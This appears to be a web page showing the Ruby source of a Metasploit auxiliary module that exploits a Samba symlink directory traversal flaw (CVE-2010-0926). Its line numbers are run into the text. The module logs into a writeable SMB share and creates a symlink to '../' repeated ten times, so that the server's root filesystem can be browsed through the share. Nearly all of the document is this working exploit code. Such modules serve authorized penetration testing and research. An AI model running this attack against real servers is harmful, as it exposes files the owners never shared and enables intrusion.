Path: blob/master/modules/auxiliary/admin/smb/samba_symlink_traversal.rb
27844 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Exploit mixins should be called first8include Msf::Exploit::Remote::SMB::Client9include Msf::Auxiliary::Report1011# Aliases for common classes12SIMPLE = Rex::Proto::SMB::SimpleClient13XCEPT = Rex::Proto::SMB::Exceptions14CONST = Rex::Proto::SMB::Constants1516def initialize17super(18'Name' => 'Samba Symlink Directory Traversal',19'Description' => %(20This module exploits a directory traversal flaw in the Samba21CIFS server. To exploit this flaw, a writeable share must be specified.22The newly created directory will link to the root filesystem.23),24'Author' => [25'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html26'hdm' # metasploit module27],28'References' => [29['CVE', '2010-0926'],30['OSVDB', '62145'],31['URL', 'http://www.samba.org/samba/news/symlink_attack.html'],32['ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES]33],34'License' => MSF_LICENSE,35'Notes' => {36'Stability' => [CRASH_SAFE],37'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],38'Reliability' => []39}40)4142register_options([43OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),44OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])45])4647deregister_options('SMB::ProtocolVersion')48end4950def run51print_status('Connecting to the server...')52connect(versions: [1])53smb_login5455print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")56simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")5758print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")59simple.client.symlink(datastore['SMBTARGET'], '../' * 10)6061print_status('Now access the following share to browse the root filesystem:')62print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")63print_line('')64end65end666768